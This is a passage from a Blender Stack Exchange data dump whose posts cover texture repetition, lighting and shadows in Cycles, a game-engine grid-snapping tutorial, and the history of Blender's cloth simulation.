  <row Id="28769" PostTypeId="1" CreationDate="2015-04-21T19:31:52.247" Score="3" ViewCount="1118" Body="&lt;p&gt;I'm working on a model for Cities: Skyline. It is my very first model for a game, as a mod or as an asset for my own game.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is about the texture usage on meshes. As &lt;a href=&quot;http://www.skylineswiki.com/Asset_Editor&quot; rel=&quot;nofollow noreferrer&quot;&gt;this wiki says&lt;/a&gt;, the limit of map sizes is 2048x2048 though it is set for very special structures such as stadiums.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm modeling Brazilian National Congress. So far I have this model, not finished and, as you can see, partially textured.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UFweU.jpg&quot; alt=&quot;Image 1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I faced a problem with texture size used at the access ramp. I've set a texture and used the UV map to set the correct position of it and size. By this way, I could set a way bigger size making the tiles to repeat themselves as shown in this image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/mBLqXRM.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I need to use another texture for windows at the taller buildings for example and if I map the the texture as I've done with the ramp, it wont repeat that small portion of texture but the blank space as well, as shown here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FjGrd.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, how can I get a texture to repeat itself selecting just a portion of it from a bigger map? Is what I'm doing right?&lt;/p&gt;&#xA;" OwnerUserId="13904" LastEditorUserId="5113" LastEditDate="2015-04-22T19:09:54.307" LastActivityDate="2015-04-22T19:31:32.797" Title="Mapping texture to repeat itself from a bigger map" Tags="&lt;texturing&gt;&lt;game-engine&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28770" PostTypeId="1" AcceptedAnswerId="28773" CreationDate="2015-04-21T19:49:26.643" Score="4" ViewCount="2274" Body="&lt;p&gt;In this image, why the shadow is strongly reflected on the person. How can I fix that problem ? I am using a direct lighting by setting  the rendering parameter as:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Pl5Dt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AbVCV.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11289" LastEditorUserId="11289" LastEditDate="2015-04-21T20:51:43.303" LastActivityDate="2015-04-21T21:51:34.043" Title="How to remove the effect reflection of shadow" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;light&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="28772" PostTypeId="1" AcceptedAnswerId="28814" CreationDate="2015-04-21T21:29:58.373" Score="6" ViewCount="59269" Body="&lt;p&gt;how to make background image sequence displayed in render mode in the 3D view? I made a 3D tracking and I want to see the original video as a background.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what i mean: &#xA;In &quot;material mode&quot; I can see the background&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/klo7I.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But not in &quot;render mode&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/a0HBq.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13487" LastEditorUserId="13487" LastEditDate="2015-04-22T16:45:12.540" LastActivityDate="2021-03-12T17:58:23.193" Title="Background image is not displaying in rendered mode" Tags="&lt;3d-view&gt;&lt;tracking&gt;" AnswerCount="3" CommentCount="7" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28773" PostTypeId="2" ParentId="28770" CreationDate="2015-04-21T21:51:34.043" Score="7" Body="&lt;p&gt;This is because you appear to have one light source and no bounces/indirect lighting.&#xA;So the only faces to receive &lt;em&gt;any&lt;/em&gt; light will have to be facing the light source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the real world light is reflected and transmitted everywhere, resulting in almost everything getting illuminated at least a little bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have several options to simulate this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Increase the number of bounces in &lt;em&gt;Render settings &gt; Light paths&lt;/em&gt;, allowing light to reflect off surfaces and illuminate &quot;around corners&quot; in a physically correct fashion:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lr0uF.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable ambient occlusion or add some ambient environment lighting:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the real world there is always ambient light coming from the sky. Even with indoor renders this can make a difference (light coming through windows etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OPcDC.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that AO is an approximation of actual environment light, but as it's all based on distance it will illuminate things even inside closed shapes where environment light cannot normally reach.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add more light sources with different sizes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you still want to stick with 0 bounces and no &lt;a href=&quot;http://en.wikipedia.org/wiki/Global_illumination&quot; rel=&quot;nofollow noreferrer&quot;&gt;global illumination&lt;/a&gt;, try adding a few more light sources. Vary the strength and size to prevent it from becoming too &quot;flat&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2olXP.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-04-21T21:51:34.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28774" PostTypeId="1" CreationDate="2015-04-21T23:32:34.567" Score="1" ViewCount="547" Body="&lt;p&gt;Currently i'm trying different ways to make procedural generation of the grass on the terrain in BGE. Terrain itself is just a mesh. I've been thinking about just randomly placing grass meshes around the player and about making a place with grass which repeats itself in 4 directions around player and disabling these repeats as the player getting away and creating new. With the first case problem is that I dont know how to get the height and the normal of certain points of my terrain mesh, and with second one I dont know how to get geometry of the terrain and deform the grass plane according to it. I'm a BGE and python beginner and would appreciate any help and links to other effective ways of creating grass on the levels.&lt;/p&gt;&#xA;" OwnerUserId="13908" LastActivityDate="2021-02-10T10:01:30.107" Title="Procedural grass in BGE" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28775" PostTypeId="2" ParentId="28726" CreationDate="2015-04-21T23:42:33.567" Score="1" Body="&lt;p&gt;You have two sets of bones &lt;strong&gt;DEF&lt;/strong&gt; and &lt;strong&gt;MCH&lt;/strong&gt; , &lt;strong&gt;MCH&lt;/strong&gt; inherit the rotation from the root bone , while the &lt;strong&gt;DEF&lt;/strong&gt; bones copy the location and the orientation of &lt;strong&gt;MCH&lt;/strong&gt; but they keep their own rotation ( &lt;strong&gt;DEF&lt;/strong&gt; bones are the ones controlling the mesh ) when you rotate the root or one of the &lt;strong&gt;MCH&lt;/strong&gt; bones the DEF will follow but maintain its rotation ( which seems like the twisting effect )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A quick solution is to choose the first &lt;strong&gt;DEF&lt;/strong&gt; bone and parented to the first &lt;strong&gt;MCH&lt;/strong&gt; bone ( also check inherit rotation )&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-04-21T23:42:33.567" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28776" PostTypeId="1" AcceptedAnswerId="28777" CreationDate="2015-04-21T23:51:27.660" Score="1" ViewCount="135" Body="&lt;p&gt;I have an object, that has diffuse shader and looks great. Unfortunately it throws some shades on the objects behind it and it looks terrible. Is there any way to make the light to be fully reflected and passed through the object in the same time?&lt;/p&gt;&#xA;" OwnerUserId="13876" LastActivityDate="2015-04-22T00:10:47.657" Title="Diffuse material that doesn't throw shades in cycles engine" Tags="&lt;light&gt;&lt;shaders&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28777" PostTypeId="2" ParentId="28776" CreationDate="2015-04-22T00:10:47.657" Score="4" Body="&lt;p&gt;To prevent an object from casting shadows uncheck the shadow option in  &lt;strong&gt;Object_Tab&lt;/strong&gt;--&gt; &lt;strong&gt;Ray_Visibility&lt;/strong&gt;--&gt; &lt;strong&gt;Shadow&lt;/strong&gt; :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uGUnJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-04-22T00:10:47.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28778" PostTypeId="1" CreationDate="2015-04-22T00:11:17.617" Score="1" ViewCount="271" Body="&lt;p&gt;Here is screenshot :) Im making a circle with 6 sides, rotating it 30 degrees (z) and scaling it globally on y.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NEDZC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9495" LastActivityDate="2015-04-22T01:12:41.313" Title="Hexagon is distorting on x axis, when scaling on y globally" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="6" ClosedDate="2015-04-22T04:42:44.197" ContentLicense="CC BY-SA 3.0" />
  <row Id="28779" PostTypeId="2" ParentId="28752" CreationDate="2015-04-22T00:25:59.533" Score="13" Body="&lt;p&gt;Starting with the rig that is in &lt;a href=&quot;https://blender.stackexchange.com/a/28313/5426&quot;&gt;this answer&lt;/a&gt;, Making a grid snapping system is actually very simple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, select the ground plane and scale it to be relatively small. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Replace the script on the ground plane to this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bge import logic&#xA;&#xA;def main():&#xA;    scene = logic.getCurrentScene()&#xA;    cont = logic.getCurrentController()&#xA;    own = cont.owner&#xA;&#xA;    mouse_over = cont.sensors[&quot;Mouse_Over&quot;]&#xA;&#xA;    if mouse_over.positive:&#xA;        tracker = scene.objects[&quot;Tracker&quot;]&#xA;        tracker.worldPosition = own.worldPosition&#xA;        tracker.worldPosition.z += 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You need to also use this logic setup on your plane&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dAxYN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, when the mouse is over that plane, it will move our arrow to the world position of the plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/b6WDx.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this is not much of a grid - yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First we should move the plane to one corner. Your current setup should look like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qaelD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create the grid, we can use the array modifier on the ground plane. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qpEsw.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enter &lt;strong&gt;edit mode&lt;/strong&gt; by pressing &lt;kbd&gt;tab&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/01tii.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With all of the faces selected, we can press &lt;kbd&gt;p&lt;/kbd&gt; Note that we must be In edit mode, if we were in object mode, this would start the game engine.&#xA;Select &lt;strong&gt;&lt;em&gt;separate by loose parts&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We now have all of the planes now as different objects. If we press play we can see how it will work so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gAyBm.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reason it is not working. Good thing is that I'm writing this answer and I happen to know why it isn't working. (This is really easy to fix :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oxQIv.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Our problem is that all of the origins are in the same place. The system actually &lt;em&gt;Is&lt;/em&gt; working, but quite simply, the world positions of all the objects are in the exact same location so there will be no noticeable change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, with all (most) problems, there is a solution. Select all of the grid objects, and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt;  This will allow you to change the origins of all the grid objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RTLDd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could select &lt;strong&gt;Origin to Center of Mass&lt;/strong&gt; or &lt;strong&gt;Origin to Geometry&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since they are infinity square planes there is no difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jrhY7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, Each grid section has it's origin centered over itself, so when it snaps the arrow to it's origin, it will work like a grid snapping system &lt;em&gt;Translation: everything works and everyone is happy&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/U7V7a.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now we have a basic grid snapping system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/193/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=193&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic idea for making a world building system is being able to stack cubes and place them next to each other. This is not &lt;em&gt;Very&lt;/em&gt; hard to do, we only need to add the Boolean property &lt;strong&gt;&lt;em&gt;Ground&lt;/em&gt;&lt;/strong&gt; to the cube that is being added (&lt;em&gt;Building&lt;/em&gt;), and we also need that cube (still named &lt;em&gt;Building&lt;/em&gt;) to be running the script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/96THj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few more minor adjustments we need to make to the grid objects.&#xA;First, because our cubes are 2x2x2 &lt;img src=&quot;https://ToolTip.Hack&quot; alt=&quot;Blender units,&quot; title=&quot;I NEVER use imperial measurements&quot;&gt; the grid planes should all also be 2x2 &lt;img src=&quot;https://ToolTip.Hack&quot; alt=&quot;Blender units&quot; title=&quot;I NEVER use imperial measurements&quot;&gt;. Also, If two cubes are stacked, there is a space of Two &lt;img src=&quot;https://ToolTip.Hack&quot; alt=&quot;Blender units&quot; title=&quot;I NEVER use imperial measurements&quot;&gt; between their origins. we must adjust the script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GMpjY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, because the cubes are being added Two &lt;img src=&quot;https://ToolTip.Hack&quot; alt=&quot;Blender units&quot; title=&quot;I NEVER use imperial measurements&quot;&gt; above the plane, we need to move the origins down one unit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The end result can be seen working awesomely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OuCpF.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Working blend with world building system. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/194/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=194&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="5426" LastEditDate="2017-12-15T04:41:18.803" LastActivityDate="2017-12-15T04:41:18.803" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28780" PostTypeId="2" ParentId="28778" CreationDate="2015-04-22T00:34:28.107" Score="2" Body="&lt;p&gt;This is normal behavior. What is happening is you are scaling your mesh without having applied the rotation (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; &lt;em&gt;Rotation&lt;/em&gt;). When you apply the rotation to your mesh, this issue disappears. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YuAzz.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also moving the vertices in edit mode will prevent this issue.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-04-22T01:11:34.563" LastActivityDate="2015-04-22T01:11:34.563" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="28781" PostTypeId="1" CreationDate="2015-04-22T00:53:44.360" Score="2" ViewCount="693" Body="&lt;p&gt;I want to have my camera moves by &quot;Follow Path&quot;, it moves pretty well except that its view angle is not what I want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to have the camera's look-at point always to be the next point it moves to. How can I get this work with python script? (or is there a setting for that)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My guess is that if I set the rotation angle correctly at the beginning it will fulfill my requirement.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;pi = 3.1415926&#xA;scene.camera.rotation_mode = 'XYZ'&#xA;scene.camera.rotation_euler[0] = rx*(pi/180.0)&#xA;scene.camera.rotation_euler[1] = ry*(pi/180.0)&#xA;scene.camera.rotation_euler[2] = rz*(pi/180.0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where rx,ry,rz are the euler angle that I need to calculate at the beginning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="13436" LastEditorDisplayName="user1853" LastEditDate="2015-05-25T17:52:22.907" LastActivityDate="2015-08-23T18:59:42.717" Title="how to set camera's look-at point when moves along a curve?" Tags="&lt;python&gt;&lt;bezier-curves&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28783" PostTypeId="2" ParentId="28778" CreationDate="2015-04-22T01:12:41.313" Score="4" Body="&lt;p&gt;Here is why it stretch on the x axis : the scaling is done the world space (orientation ) and it gets projected to the local space of the object to be applied (since axis are not aligned world Y axis get projected on local X and Y axis) , the vertices has to keep their location the local space ( hence you see the distortion ) :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zhRxS.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-04-22T01:12:41.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28785" PostTypeId="1" AcceptedAnswerId="28826" CreationDate="2015-04-22T02:31:43.393" Score="10" ViewCount="2720" Body="&lt;p&gt;Is there any way to join tracks with an offset (like can be done in After effects)?  I'm looking for a way to create a gap less 2D track. (It will be used only for 2D stabilization) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an example showing the situation in the footage.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/cqJUW.gif&quot; alt=&quot;example footage&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the two tracked marks that get blocked by a pole at different times.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/MHBRt.png&quot; alt=&quot;my two trackers&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to be able to use the tracking data from the black mark when the red mark is obstructed.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/drdIS.png&quot; alt=&quot;red tracker blocked&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However if I simply join the two tracks there will be a jump in the path.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-09-20T08:32:00.057" Title="Joining 2D tracking markers with an offset" Tags="&lt;video&gt;&lt;tracking&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="28786" PostTypeId="2" ParentId="8247" CreationDate="2015-04-22T03:38:35.630" Score="20" Body="&lt;p&gt;&lt;strong&gt;Summary:&lt;/strong&gt; Initially in 2004, Todd Koeckeritz leveraged Provot's Cloth Model (&lt;a href=&quot;https://graphics.stanford.edu/courses/cs468-02-winter/Papers/Rigidcloth.pdf&quot; rel=&quot;noreferrer&quot;&gt;Deformation Constraints in a Mass-Spring Model to Describe Rigid Cloth Behavior&lt;/a&gt;); also, he leveraged simplified portions of Provot's Cloth Collision Model (&lt;a href=&quot;https://graphics.stanford.edu/courses/cs468-02-winter/Papers/Collisions_vetements.pdf&quot; rel=&quot;noreferrer&quot;&gt;Collision and self-collision handling in cloth model dedicated to design garments&lt;/a&gt;). Then in 2006, Daniel Genrich completed an implementation of Mezger's Cloth Collision Model (&lt;a href=&quot;http://gris.uni-tuebingen.de/fileadmin/user_upload/Paper/Mezger-2002-Improved.pdf&quot; rel=&quot;noreferrer&quot;&gt;Improved Collision Detection and Response Techniques for Cloth Animation&lt;/a&gt;). Additionally, Todd Koeckeritz created a parameter named &quot;Steps&quot;/&quot;Quality&quot; to handle time steps. Finally in 2008, Daniel Genrich released Blender Cloth (according to BlenderNation.com).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Research Papers:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Todd Koeckeritz (Contributor of Blender Cloth) says in April 2006: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Provot was chosen when we started the project because I had the code written already from two years ago when I was working on cloth as a python module. So, we've started with that. However, the few semi-unique characteristics of the Provot paper referenced in the wiki page are being replaced now with a similar process from another paper. So, in some ways Provot is gone, or will be in the next release. However, the nice feature described by Provot in section 5 of his paper, deals with eliminating the super-elastic/rubbery effect that some cloth simulators exhibit. That was my reason for choosing the paper two+ years ago.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The initial checkin of Blender Cloth files for &quot;trunk/blender/source/blender/makesdna/DNA_cloth_types.h&quot; by Daniel Genrich (Contributor of Blender Cloth) reads in September 2007:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;+/**&#xA;+* This struct contains all the global data required to run a simulation.&#xA;+* At the time of this writing, this structure contains data appropriate&#xA;+* to run a simulation as described in Deformation Constraints in a&#xA;+* Mass-Spring Model to Describe Rigid Cloth Behavior by Xavier Provot.&#xA;+*&#xA;+* I've tried to keep similar, if not exact names for the variables as&#xA;+* are presented in the paper.  Where I've changed the concept slightly,&#xA;+* as in stepsPerFrame comapred to the time step in the paper, I've used&#xA;+* variables with different names to minimize confusion.&#xA;+**/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Todd Koeckeritz talks about his implementation of Provot's Cloth Collision Model in April 2006: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What we have now is a partial implementation of one described by Provot in his paper &quot;Collision and self collision handling in cloth model dedicated to design garments.&quot;  We may not implement all that is described in that paper, but we do need to get friction working properly and get it working properly with moving and/or deforming collision objects.  What we have now works fine for dropping pieces of cloth on cubes and such, but there's no sliding when there should be and it isn't working now with collision meshes being deformed by armatures and such.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Todd Koeckeritz talks about Daniel Genrich implementation of Mezger's Cloth Collision Model in March/April 2006:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Genscher is focusing on work on the k-dop collision system [...] &#xA;  The collision system we've implemented is described in papers by Metzger in 2002 and 2003 and is known as K-DOP BVH. From an end user standpoint, there isn't too much that needs to be understood about this implementation that is specific to the collision system. In most cases, you either want to spend CPU time computing collisions or you don't.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Todd Koeckeritz talks about Time Steps in April 2006:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;There is one more important concept for an end user to understand and that is the one of how the simulation deals with time. It is impossible to model all the atoms or molecules in a piece of cloth and those objects with which it might collide as it would simply take too much time to compute the results, so we compromise by using the point masses and springs described above. There is a similar problem when it comes to dealing with time. While some parts of the cloth modifier attempt to deal with time in a continuous sense, other parts only compute the results at specific points in time. For example, think of dropping a ball on frame one and having it hit the ground on frame 21. If you only had results on frame 1 and frame 21, you'd have no idea on how the ball behaved between those frames. It might have been moving at a constant velocity or it might have been accelerated from rest by gravity or another force. On the other hand, if you had all the frames from 1 to 21, you could examine the position of the ball in each frame and then know much better how the ball moved during that time. With that new information, you can then better predict how the ball should move between frames 22 and 51. The cloth modifier has some similar problems, although we deal with them at the sub-frame level. To do this a parameter called Steps is provided. The higher the number of steps, the more time is spent computing a result, however that result should be more precise. The lowest setting for Steps is 1, meaning we'll run the simulation once per frame. This is the fastest way to get a result from the cloth modifier, however, the results might be less physically accurate than if you choose a larger number.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In April 2006, Todd Koeckeritz called it &quot;Steps&quot;. Between September 2007 and January 2008,  Daniel Genrich renamed &quot;Steps Per Frame&quot; to &quot;Quality&quot;. The following code diff of &quot;/source/blender/src/buttons_object.c&quot; represents these changes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-               uiDefButS(block, NUM, B_DIFF, &quot;Steps:&quot;,                    10,80,100,20, &amp;amp;sb-&amp;gt;minloops,  1.00,  30000.0, 10, 0, &quot;Solver steps/frame &quot;);&#xA;-               uiDefButI(block, NUM, B_DIFF, &quot;Steps per Frame:&quot;,          10,150,150,20, &amp;amp;clmd-&amp;gt;sim_parms.stepsPerFrame, 1.0, 100.0, 5, 0, &quot;Quality of the simulation (higher=better=slower)&quot;);&#xA;+               uiDefButI(block, NUM, B_CLOTH_RENEW, &quot;Quality:&quot;,           10,150,150,20, &amp;amp;clmd-&amp;gt;sim_parms-&amp;gt;stepsPerFrame, 4.0, 100.0, 5, 0, &quot;Quality of the simulation (higher=better=slower)&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Parameters:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The Blender Cloth Modifier is based on a Spring Network, according to Todd Koeckeritz in April 2006:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The spring network is built of three types of springs and the user is allowed to control the stiffness of the springs separately: (1) Structural Springs are built on the edges of the mesh. They provide the main structural integrity of the cloth. (2) Shear Springs are built on the diagonals of quad faces and provide some resistance to shearing forces in the cloth. (3) Flexion Springs are built similarly to the Structural Springs, but are built on top of two close to parallel Structural Springs. Flexion Springs provide resistance to folding, the stiffer they are, the more the cloth will attempt to retain its original shape. Think of them as starch for your collar.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The Blender Cloth Controls were more detailed in April 2006:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Collision : This toggles whether the object is a collision object.    Collision objects are not cloth objects, they only allow the cloth&lt;br&gt;&#xA;  objects to react to them when they collide. To collide with a cloth&lt;br&gt;&#xA;  object, this button should be toggled on and the 